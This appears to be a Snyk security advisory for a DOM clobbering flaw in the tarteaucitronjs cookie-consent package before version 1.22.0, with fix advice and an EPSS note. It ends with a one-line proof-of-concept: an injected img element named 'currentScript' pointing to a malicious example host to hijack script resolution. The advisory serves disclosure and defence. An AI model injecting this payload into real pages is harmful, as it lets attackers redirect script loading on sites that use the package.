DOM Clobbering Affecting tarteaucitronjs package, versions <1.22.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-TARTEAUCITRONJS-10598341
- published4 Jul 2025
- disclosed3 Jul 2025
- creditPierre Rudloff
Introduced: 3 Jul 2025
NewCVE-2025-48939 (opens in a new tab)How to fix?
Upgrade tarteaucitronjs to version 1.22.0 or higher.
Overview
tarteaucitronjs is a package that provides compliance to the European cookie law.
Affected versions of this package are vulnerable to DOM Clobbering when setting the document.currentScript value. An attacker can cause incorrect script resolution and potentially alter the CDN domain by injecting a DOM element with a conflicting name attribute.
PoC
<img name="currentScript" src="https://malicious.example.com">